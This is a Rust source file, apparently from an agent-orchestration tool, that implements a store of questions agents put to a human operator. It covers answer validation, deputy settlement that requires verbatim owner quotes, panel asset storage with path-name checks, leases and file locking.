1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 11;
64
65const POLL: Duration = Duration::from_secs(3);
74
75const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130const LOCK_STALE: Duration = Duration::from_secs(10);
133
134pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156const PANEL_DIR: &str = ".panel";
162
163const PANEL_HTML: &str = "index.html";
165
166const PANEL_TMP: &str = ".panel.tmp";
168
169pub fn valid_asset_name(name: &str) -> bool {
186 if name.is_empty() || name.len() > 64 || name.contains("..") {
187 return false;
188 }
189 let mut chars = name.chars();
190 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198 Open,
200 Answered,
202 Abandoned,
206}
207
208impl QuestionStatus {
209 pub fn open(self) -> bool {
211 matches!(self, Self::Open)
212 }
213
214 pub fn as_str(self) -> &'static str {
216 match self {
217 Self::Open => "open",
218 Self::Answered => "answered",
219 Self::Abandoned => "abandoned",
220 }
221 }
222}
223
224#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233 Choice(String),
235 Text(String),
237}
238
239#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249 Resume {
251 run: String,
253 },
254 Requeue,
256 Hold,
258 Done,
260}
261
262impl ChoiceAction {
263 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
268 let Some((label, verb)) = spec.rsplit_once('=') else {
269 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
270 };
271 let label = label.trim();
272 if label.is_empty() {
273 bail!("`--action {spec}` names no choice before `=`");
274 }
275 let verb = verb.trim();
276 let action = match verb.split_once(':') {
277 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
278 run: run.trim().to_owned(),
279 },
280 None if verb == "resume" => {
281 if default_run.is_empty() {
282 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
283 }
284 Self::Resume {
285 run: default_run.to_owned(),
286 }
287 }
288 None if verb == "requeue" => Self::Requeue,
289 None if verb == "hold" => Self::Hold,
290 None if verb == "done" => Self::Done,
291 _ => bail!(
292 "unknown action `{verb}` in `--action {spec}`; \
293 use resume[:<run>], requeue, hold or done"
294 ),
295 };
296 Ok((label.to_owned(), action))
297 }
298
299 pub fn describe(&self) -> String {
301 match self {
302 Self::Resume { run } => format!("resume run {}", short(run)),
303 Self::Requeue => "requeue the task".to_owned(),
304 Self::Hold => "hold the task until the operator releases it".to_owned(),
305 Self::Done => "mark the task done".to_owned(),
306 }
307 }
308}
309
310pub fn parse_actions(
313 specs: &[String],
314 choices: &[String],
315 default_run: &str,
316) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
317 let mut out = std::collections::BTreeMap::new();
318 for spec in specs {
319 let (label, action) = ChoiceAction::parse(spec, default_run)?;
320 if !choices.contains(&label) {
321 bail!(
322 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
323 choices.join(", ")
324 );
325 }
326 if out.insert(label.clone(), action).is_some() {
327 bail!("more than one --action for `{label}`");
328 }
329 }
330 Ok(out)
331}
332
333#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
344#[serde(rename_all = "lowercase")]
345pub enum Who {
346 Operator,
348 Agent,
351}
352
353#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
361#[serde(deny_unknown_fields)]
362pub struct Turn {
363 pub who: Who,
365 pub body: String,
367 pub at: Timestamp,
369 #[serde(default, skip_serializing_if = "Option::is_none")]
374 pub note: Option<String>,
375}
376
377#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
379#[serde(rename_all = "lowercase")]
380pub enum WaiterKind {
381 Asker,
383 Daemon,
386 Deputy,
390}
391
392#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
404pub struct Deputy {
405 pub brief: String,
408 #[serde(default)]
410 pub agent: String,
411 #[serde(default)]
413 pub seat: Option<crate::agent::SeatState>,
414 #[serde(default)]
417 pub starts: u32,
418}
419
420impl Deputy {
421 pub fn new(brief: String) -> Self {
423 Self {
424 brief,
425 agent: String::new(),
426 seat: None,
427 starts: 0,
428 }
429 }
430}
431
432pub fn deputy_seat_key(id: &str) -> String {
434 format!("deputy-{}", short(id))
435}
436
437#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
442pub struct Waiter {
443 pub kind: WaiterKind,
445 pub since: Timestamp,
447}
448
449#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
458pub struct Lease {
459 pub kind: WaiterKind,
461 pub pid: u32,
463 pub beat_at: Timestamp,
465}
466
467impl Lease {
468 pub fn fresh(&self, now: Timestamp) -> bool {
470 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
471 }
472}
473
474#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
476#[serde(deny_unknown_fields)]
477pub struct Question {
478 pub schema: u32,
480 pub id: String,
483 pub run: String,
485 pub node: String,
487 pub seat: String,
490 pub summary: String,
493 pub detail: String,
496 #[serde(default, skip_serializing_if = "Option::is_none")]
498 pub posting_comparison: Option<crate::github_text::PostingComparison>,
499 pub choices: Vec<String>,
503 #[serde(default)]
505 pub merge_target: Option<crate::merge_decision::Target>,
506 #[serde(default)]
510 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
511 #[serde(default)]
518 pub panel: bool,
519 #[serde(default)]
526 pub assets: Vec<String>,
527 pub status: QuestionStatus,
529 pub asked_at: Timestamp,
531 #[serde(default)]
533 pub triage_generation: Option<u64>,
534 pub answered_at: Option<Timestamp>,
536 pub answer: Option<Answer>,
538 #[serde(default)]
547 pub thread: Vec<Turn>,
548 #[serde(default)]
563 pub answer_timeout: u64,
564 #[serde(default)]
570 pub cwd: Option<String>,
571 #[serde(default)]
573 pub waiter: Option<Waiter>,
574 #[serde(default)]
578 pub delivered_turns: usize,
579 #[serde(default)]
582 pub answer_delivered: bool,
583 #[serde(default)]
586 pub deputy: Option<Deputy>,
587 #[serde(default)]
591 pub consult: Option<ChatConsult>,
592 #[serde(default, skip_serializing_if = "Option::is_none")]
594 pub answer_authority: Option<crate::consult::AnswerAuthority>,
595 #[serde(default)]
598 pub decision_context: Option<String>,
599}
600
601#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
603pub struct ChatConsult {
604 pub talk: String,
606 pub at: Timestamp,
608}
609
610impl Question {
611 pub fn run_names_task(&self) -> bool {
614 matches!(
615 self.node.as_str(),
616 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
617 )
618 }
619
620 pub fn new(
623 run: String,
624 node: String,
625 seat: String,
626 summary: String,
627 detail: String,
628 choices: Vec<String>,
629 ) -> Self {
630 Self {
631 schema: SCHEMA,
632 id: new_id(),
633 run,
634 node,
635 seat,
636 summary,
637 detail,
638 posting_comparison: None,
639 choices,
640 merge_target: None,
641 actions: std::collections::BTreeMap::new(),
642 panel: false,
643 assets: Vec::new(),
644 status: QuestionStatus::Open,
645 asked_at: Timestamp::now(),
646 triage_generation: None,
647 answered_at: None,
648 answer: None,
649 thread: Vec::new(),
650 answer_timeout: 0,
651 cwd: None,
652 waiter: None,
653 delivered_turns: 0,
654 answer_delivered: false,
655 deputy: None,
656 consult: None,
657 answer_authority: None,
658 decision_context: None,
659 }
660 }
661
662 pub fn short(&self) -> &str {
664 short(&self.id)
665 }
666
667 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
670 match (&self.status, &self.answer) {
671 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
672 _ => None,
673 }
674 }
675
676 pub fn free_text(&self) -> bool {
678 self.choices.is_empty()
679 }
680
681 pub fn answer(&mut self, answer: Answer) -> Result<()> {
691 match self.status {
692 QuestionStatus::Answered => bail!(
693 "question {} was already answered; the run has moved on and a \
694 second answer would be a decision nobody acted on",
695 self.short()
696 ),
697 QuestionStatus::Abandoned => bail!(
698 "question {} was abandoned and the run behind it is gone",
699 self.short()
700 ),
701 QuestionStatus::Open => {}
702 }
703 let body = match &answer {
704 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
705 };
706 if body.trim().is_empty() {
707 bail!(
708 "question {} needs an answer; an empty one tells the agent \
709 nothing and it would guess anyway",
710 self.short()
711 );
712 }
713 match &answer {
714 Answer::Choice(c) if self.free_text() => bail!(
715 "question {} asks for free text, so `{c}` cannot be a choice \
716 it offered",
717 self.short()
718 ),
719 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
720 "`{c}` is not one of the choices question {} offers: {}",
721 self.short(),
722 self.choices.join(", ")
723 ),
724 Answer::Text(_) if !self.free_text() => bail!(
725 "question {} is multiple choice; answer with one of: {}",
726 self.short(),
727 self.choices.join(", ")
728 ),
729 _ => {}
730 }
731 if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
732 bail!("hold cannot execute a question action");
733 }
734 self.answered_at = Some(Timestamp::now());
735 self.answer = Some(answer);
736 self.status = QuestionStatus::Answered;
737 Ok(())
738 }
739
740 pub fn abandon(&mut self, why: impl Into<String>) {
752 if !self.status.open() {
753 return;
754 }
755 self.status = QuestionStatus::Abandoned;
756 let why = why.into();
757 let why = why.trim();
758 if why.is_empty() {
759 return;
760 }
761 if !self.detail.is_empty() {
762 self.detail.push('\n');
763 }
764 self.detail.push_str("\n_Abandoned: ");
765 self.detail.push_str(why);
766 self.detail.push_str("._\n");
767 }
768
769 pub fn resolution(&self) -> Option<String> {
776 match (self.status, &self.answer) {
777 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
778 Some(a.clone())
779 }
780 _ => None,
781 }
782 }
783
784 pub fn settle_by_deputy(
795 &mut self,
796 seat: &str,
797 label: &str,
798 quote: &str,
799 note: Option<&str>,
800 ) -> Result<()> {
801 let Some(deputy) = &self.deputy else {
802 bail!("question {} has no deputy", self.short());
803 };
804 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
805 if own != Some(seat) {
806 bail!("only the deputy of question {} may settle it", self.short());
807 }
808 if !self.choices.iter().any(|c| c == label) {
809 bail!(
810 "`{label}` is not one of the choices offered on question {}",
811 self.short()
812 );
813 }
814 let quote = quote.trim();
815 if quote.is_empty()
816 || !self
817 .thread
818 .iter()
819 .any(|t| t.who == Who::Operator && t.body.contains(quote))
820 {
821 bail!(
822 "the quote is not something the owner said on question {}",
823 self.short()
824 );
825 }
826 let latest = self
829 .thread
830 .iter()
831 .rev()
832 .find(|t| t.who == Who::Operator)
833 .map(|t| {
834 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
835 t.body.as_str()
836 } else {
837 t.body.trim()
838 }
839 });
840 if let Some(message) = latest {
841 crate::consult::validate_batch_effect(self, label, message, quote)?;
842 }
843 if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
844 let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
845 crate::consult::validate_effect(self, label, message, quote, true)?;
846 } else if crate::deputy::merge_gated(self) {
847 let ok = if label == crate::land::APPROVE {
853 latest.is_some_and(|m| match &self.merge_target {
854 Some(target) => m == format!("merge {}", target.head) && quote == m,
855 None => m.contains(quote),
856 })
857 } else {
858 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
859 };
860 if !ok {
861 bail!(
862 "on a merge approval `{label}` settles it only when the quote is a \
863 verbatim part of the owner's latest message ({}); if the wording is \
864 doubtful, ask what they mean with `--thread` instead",
865 if label == crate::land::HOLD {
866 "for `hold`, the whole message"
867 } else {
868 "the quote must be the instruction itself"
869 }
870 );
871 }
872 } else if self.node == crate::github_text::ASK_NODE
873 && crate::deputy::destructive(self, label)
874 {
875 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
876 bail!(
877 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
878 );
879 }
880 } else if crate::deputy::destructive(self, label)
881 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
882 {
883 bail!(
884 "`{label}` cannot be undone; it settles question {} only when the owner's \
885 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
886 / not / question); ask what they mean with `--thread` instead",
887 self.short()
888 );
889 }
890 self.thread.push(Turn {
891 who: Who::Agent,
892 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
893 at: Timestamp::now(),
894 note: note
895 .map(str::trim)
896 .filter(|n| !n.is_empty())
897 .map(str::to_owned),
898 });
899 self.delivered_turns = self.thread.len();
900 self.answer(Answer::Choice(label.to_owned()))
901 }
902
903 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
914 match self.status {
915 QuestionStatus::Answered => bail!(
916 "question {} was already answered; there is nothing left to \
917 discuss",
918 self.short()
919 ),
920 QuestionStatus::Abandoned => bail!(
921 "question {} was abandoned and the run behind it is gone",
922 self.short()
923 ),
924 QuestionStatus::Open => {}
925 }
926 let body = body.into();
927 if body.trim().is_empty() {
928 bail!("a message to question {} cannot be empty", self.short());
929 }
930 self.thread.push(Turn {
931 who: Who::Operator,
932 body,
933 at: Timestamp::now(),
934 note: None,
935 });
936 Ok(())
937 }
938
939 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
949 match self.status {
950 QuestionStatus::Answered => bail!(
951 "question {} was already answered; replying now would not \
952 reach anyone",
953 self.short()
954 ),
955 QuestionStatus::Abandoned => bail!(
956 "question {} was abandoned and the run behind it is gone",
957 self.short()
958 ),
959 QuestionStatus::Open => {}
960 }
961 let body = body.into();
962 if body.trim().is_empty() {
963 bail!("a reply to question {} cannot be empty", self.short());
964 }
965 self.actions.retain(|label, _| choices.contains(label));
967 self.choices = choices;
968 let unread = self.unread_from_owner().is_some();
969 self.thread.push(Turn {
970 who: Who::Agent,
971 body,
972 at: Timestamp::now(),
973 note: None,
974 });
975 if !unread {
979 self.delivered_turns = self.thread.len();
980 }
981 Ok(())
982 }
983
984 pub fn unread_from_owner(&self) -> Option<String> {
991 if !self.status.open() {
992 return None;
993 }
994 let said = self.undelivered_owner_turns();
995 (!said.is_empty()).then(|| said.join("\n\n"))
996 }
997
998 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1004 let from = self.delivered_turns.min(self.thread.len());
1005 self.thread[from..]
1006 .iter()
1007 .filter(|t| t.who == Who::Operator)
1008 .map(|t| t.body.as_str())
1009 .collect()
1010 }
1011
1012 pub fn last_activity(&self) -> i64 {
1016 self.thread
1017 .iter()
1018 .map(|t| t.at.as_second())
1019 .max()
1020 .unwrap_or(0)
1021 .max(self.asked_at.as_second())
1022 }
1023
1024 pub fn waiting_on_agent(&self) -> bool {
1033 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1034 }
1035
1036 fn should_notify(&self, now: Timestamp) -> bool {
1044 let Some(last) = self
1045 .thread
1046 .iter()
1047 .rev()
1048 .find(|t| t.who == Who::Operator)
1049 .map(|t| t.at)
1050 else {
1051 return true;
1052 };
1053 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1054 }
1055}
1056
1057#[derive(Debug, Clone)]
1059pub struct Questions {
1060 root: PathBuf,
1061}
1062
1063impl Questions {
1064 pub fn open() -> Self {
1066 Self::at(crate::run::home().join("questions"))
1067 }
1068
1069 pub fn at(root: PathBuf) -> Self {
1072 Self { root }
1073 }
1074
1075 pub fn root(&self) -> &Path {
1077 &self.root
1078 }
1079
1080 pub fn path_of(&self, id: &str) -> PathBuf {
1082 self.root.join(format!("{id}.json"))
1083 }
1084
1085 pub fn panel_dir(&self, id: &str) -> PathBuf {
1087 self.root.join(format!("{id}{PANEL_DIR}"))
1088 }
1089
1090 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1114 if !valid_asset_name(&q.id) {
1115 bail!(
1116 "question id `{}` is not a name magi will build a panel path from",
1117 q.id
1118 );
1119 }
1120 if html.trim().is_empty() {
1121 bail!(
1122 "question {} was handed an empty panel; an empty frame reads to \
1123 the owner as \"the agent had nothing to say\", which is a lie",
1124 q.short()
1125 );
1126 }
1127
1128 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1131 for src in assets {
1132 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1133 if !valid_asset_name(name) {
1134 bail!(
1135 "panel asset `{}` cannot be stored: a panel file name must \
1136 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1137 src.display()
1138 );
1139 }
1140 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1141 bail!(
1142 "two panel assets are both named `{name}` - {} and {} - and \
1143 the panel can only show one of them; rename one at the source",
1144 first.display(),
1145 src.display()
1146 );
1147 }
1148 named.push((name.to_owned(), src.as_path()));
1149 }
1150
1151 let mut total = html.len() as u64;
1152 for (_, src) in &named {
1153 let meta = std::fs::metadata(src)
1154 .with_context(|| format!("stat panel asset {}", src.display()))?;
1155 if !meta.is_file() {
1156 bail!(
1157 "panel asset `{}` is not a file; a panel is html plus files \
1158 copied beside it",
1159 src.display()
1160 );
1161 }
1162 total = total.saturating_add(meta.len());
1163 }
1164 if total > PANEL_MAX_BYTES {
1165 bail!(
1166 "panel for question {} is {total} bytes, over magi's cap of \
1167 {PANEL_MAX_BYTES} bytes; nothing was written",
1168 q.short()
1169 );
1170 }
1171
1172 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1173 let dir = self.panel_dir(&q.id);
1174 std::fs::create_dir_all(&self.root)
1175 .with_context(|| format!("create {}", self.root.display()))?;
1176 clear_dir(&tmp)?;
1177 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1178 if let Err(e) = fill_panel(&tmp, html, &named) {
1179 let _ = std::fs::remove_dir_all(&tmp);
1182 return Err(e);
1183 }
1184 clear_dir(&dir)?;
1185 std::fs::rename(&tmp, &dir)
1186 .with_context(|| format!("move panel into {}", dir.display()))?;
1187
1188 q.panel = true;
1189 q.assets = named.into_iter().map(|(n, _)| n).collect();
1190 q.assets.sort_unstable();
1191 Ok(())
1192 }
1193
1194 pub fn panel_html(&self, id: &str) -> Option<String> {
1200 if !valid_asset_name(id) {
1201 return None;
1202 }
1203 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1204 }
1205
1206 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1217 if !valid_asset_name(name) {
1218 bail!(
1219 "`{name}` is not a panel file name; it must match \
1220 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1221 );
1222 }
1223 if !valid_asset_name(id) {
1224 return Ok(None);
1225 }
1226 let dir = self.panel_dir(id);
1227 if !dir.is_dir() {
1228 return Ok(None);
1229 }
1230 let path = dir.join(name);
1231 match std::fs::read(&path) {
1232 Ok(bytes) => Ok(Some(bytes)),
1233 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1234 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1235 }
1236 }
1237
1238 pub fn drop_panel(&self, id: &str) -> Result<()> {
1247 if !valid_asset_name(id) {
1248 bail!("question id `{id}` is not a name magi will build a panel path from");
1249 }
1250 clear_dir(&self.panel_dir(id))?;
1251 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1252 }
1253
1254 pub fn lease_path(&self, id: &str) -> PathBuf {
1256 self.root.join(format!("{id}.lease"))
1257 }
1258
1259 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1261 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1262 serde_json::from_str(&body).ok()
1263 }
1264
1265 pub fn beat(&self, id: &str, kind: WaiterKind) {
1272 let lease = Lease {
1273 kind,
1274 pid: std::process::id(),
1275 beat_at: Timestamp::now(),
1276 };
1277 let path = self.lease_path(id);
1278 let tmp = path.with_extension("lease.tmp");
1279 let written = std::fs::create_dir_all(&self.root)
1280 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1281 .and_then(|()| std::fs::rename(&tmp, &path));
1282 if let Err(e) = written {
1283 tracing::debug!("could not beat the lease on question {id}: {e}");
1284 }
1285 }
1286
1287 pub fn drop_lease(&self, id: &str) {
1289 let _ = std::fs::remove_file(self.lease_path(id));
1290 }
1291
1292 pub fn update<T>(
1303 &self,
1304 id: &str,
1305 f: impl FnOnce(&mut Question) -> Result<T>,
1306 ) -> Result<(Question, T)> {
1307 std::fs::create_dir_all(&self.root)
1308 .with_context(|| format!("create {}", self.root.display()))?;
1309 let lock = self.root.join(format!("{id}.lock"));
1310 let started = std::time::Instant::now();
1311 loop {
1312 match std::fs::OpenOptions::new()
1313 .write(true)
1314 .create_new(true)
1315 .open(&lock)
1316 {
1317 Ok(_) => break,
1318 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1319 let stale = std::fs::metadata(&lock)
1320 .and_then(|m| m.modified())
1321 .ok()
1322 .and_then(|t| t.elapsed().ok())
1323 .is_some_and(|age| age > LOCK_STALE);
1324 if stale {
1325 let _ = std::fs::remove_file(&lock);
1326 } else if started.elapsed() > LOCK_STALE {
1327 bail!("could not lock question {id}");
1328 } else {
1329 std::thread::sleep(Duration::from_millis(15));
1330 }
1331 }
1332 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1333 }
1334 }
1335 struct Unlock(PathBuf);
1336 impl Drop for Unlock {
1337 fn drop(&mut self) {
1338 let _ = std::fs::remove_file(&self.0);
1339 }
1340 }
1341 let _guard = Unlock(lock);
1342 let mut q = read_path(&self.path_of(id))?;
1343 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1344 let out = f(&mut q)?;
1345 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1346 let home = self.root.parent().context("question store has no home")?;
1347 crate::merge_decision::dismiss(home, &q)?;
1348 }
1349 self.put(&mut q)?;
1350 Ok((q, out))
1351 }
1352
1353 pub fn put(&self, q: &mut Question) -> Result<()> {
1357 std::fs::create_dir_all(&self.root)
1358 .with_context(|| format!("create {}", self.root.display()))?;
1359 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1360 let path = self.path_of(&q.id);
1361 let tmp = path.with_extension("json.tmp");
1362 let is_new = !path.exists();
1363 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1364 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1365 if is_new
1368 && q.status.open()
1369 && q.node != crate::bump::NOTICE_NODE
1370 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1371 {
1372 crate::notices::quiet_for(home, q);
1373 }
1374 Ok(())
1375 }
1376
1377 pub fn get(&self, id: &str) -> Result<Question> {
1379 let resolved = self.resolve_id(id)?;
1380 let q = read_path(&self.path_of(&resolved))?;
1381 Ok(self.with_repair_choice(q))
1382 }
1383
1384 fn with_repair_choice(&self, mut q: Question) -> Question {
1385 if q.status.open()
1388 && q.merge_target.is_none()
1389 && let Some(home) = self.root.parent()
1390 && let Some(target) = crate::release_watch::approval_target(home, &q)
1391 && let Ok((current, ())) = self.update(&q.id, |current| {
1392 if current.status.open() && current.merge_target.is_none() {
1393 current.merge_target = Some(target.clone());
1394 }
1395 Ok(())
1396 })
1397 {
1398 q = current;
1399 }
1400 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1401 && q.node == crate::land::APPROVAL_NODE
1402 && let Some(home) = self.root.parent()
1403 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1404 {
1405 let mut upgraded = q.clone();
1406 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1407 match self.update(&q.id, |current| {
1408 crate::land::upgrade_repair_choice(current, &state);
1409 Ok(())
1410 }) {
1411 Ok((current, ())) => return current,
1412 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1413 }
1414 }
1415 }
1416 q
1417 }
1418
1419 pub fn list(&self) -> Vec<Question> {
1427 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1428 .into_iter()
1429 .flatten()
1430 .flatten()
1431 .map(|e| e.path())
1432 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1433 .filter_map(|p| read_path(&p).ok())
1434 .map(|q| self.with_repair_choice(q))
1435 .collect();
1436 all.sort_unstable_by(|a, b| {
1437 let rank = |q: &Question| u8::from(!q.status.open());
1438 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1439 });
1440 all
1441 }
1442
1443 pub fn open_for(&self, run: &str) -> Vec<Question> {
1449 self.list()
1450 .into_iter()
1451 .filter(|q| q.status.open() && q.run == run)
1452 .collect()
1453 }
1454
1455 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1468 let mut abandoned = 0;
1469 for mut q in self.open_for(run) {
1470 q.abandon(why);
1471 self.put(&mut q)?;
1472 abandoned += 1;
1473 }
1474 Ok(abandoned)
1475 }
1476
1477 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1501 if status.resumable() {
1502 return Ok(0);
1503 }
1504 let why = format!(
1505 "run {run} {}, so nothing is waiting for this answer",
1506 status.as_str()
1507 );
1508 let mut abandoned = 0;
1513 for mut q in self.open_for(run) {
1514 if q.node == crate::bump::NOTICE_NODE {
1515 continue;
1516 }
1517 q.abandon(&why);
1518 self.put(&mut q)?;
1519 abandoned += 1;
1520 }
1521 Ok(abandoned)
1522 }
1523
1524 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1527 use crate::queue::{Reference, record_ids, resolve_reference};
1528 let ids = record_ids(&self.root, "json")?;
1529 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1530 Reference::Found(id) => Ok(id),
1531 Reference::Missing => bail!("no question matches `{prefix}`"),
1532 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1533 }
1534 }
1535
1536 pub fn revision(&self) -> u64 {
1540 std::fs::read_dir(&self.root)
1541 .into_iter()
1542 .flatten()
1543 .flatten()
1544 .filter_map(|e| e.metadata().ok())
1545 .filter_map(|m| m.modified().ok())
1546 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1547 .map(|d| d.as_millis() as u64)
1548 .max()
1549 .unwrap_or(0)
1550 }
1551
1552 pub fn count_open(&self) -> usize {
1558 self.list().iter().filter(|q| q.status.open()).count()
1559 }
1560
1561 pub fn count_needs_owner(&self) -> usize {
1570 self.list()
1571 .iter()
1572 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1573 .count()
1574 }
1575
1576 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1580 q.status.open()
1581 && q.deputy
1582 .as_ref()
1583 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1584 && !self
1585 .read_lease(&q.id)
1586 .is_some_and(|l| l.fresh(Timestamp::now()))
1587 }
1588}
1589
1590#[derive(Debug, Clone, PartialEq, Eq)]
1592pub enum Wait {
1593 Answered(String),
1595 Replied(String),
1600 Pending,
1607 Abandoned,
1612}
1613
1614pub async fn ask_and_wait(
1621 q: &mut Question,
1622 store: &Questions,
1623 notify: &config::Notify,
1624 timeout: Duration,
1625) -> Result<Wait> {
1626 wait_for_owner(q, store, notify, timeout, POLL).await
1627}
1628
1629pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1644 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1645}
1646
1647async fn wait_for_owner(
1653 q: &mut Question,
1654 store: &Questions,
1655 cfg: &config::Notify,
1656 timeout: Duration,
1657 poll: Duration,
1658) -> Result<Wait> {
1659 if !store.path_of(&q.id).is_file() {
1663 store.put(q).context("file the question")?;
1664 }
1665 if q.should_notify(Timestamp::now()) {
1666 if let Err(e) = notify(cfg, q).await {
1667 tracing::warn!(
1672 "could not notify about question {}: {e:#} - the web UI is the \
1673 only surface for it now",
1674 q.short()
1675 );
1676 }
1677 }
1678 tracing::info!(
1679 "question {} from {} is waiting for you: {}",
1680 q.short(),
1681 q.seat,
1682 q.summary
1683 );
1684 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1685}
1686
1687fn hold(store: &Questions, id: &str) {
1689 store.beat(id, WaiterKind::Asker);
1690 let took = store.update(id, |q| {
1691 if q.status.open() {
1692 q.waiter = Some(Waiter {
1693 kind: WaiterKind::Asker,
1694 since: Timestamp::now(),
1695 });
1696 }
1697 Ok(())
1698 });
1699 if let Err(e) = took {
1700 tracing::debug!("could not note the wait on question {id}: {e:#}");
1701 }
1702}
1703
1704pub fn hand_over(store: &Questions, q: &mut Question) {
1712 let done = store.update(&q.id, |r| {
1713 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1714 if r.status == QuestionStatus::Answered {
1715 r.answer_delivered = true;
1716 }
1717 r.waiter = None;
1718 Ok(())
1719 });
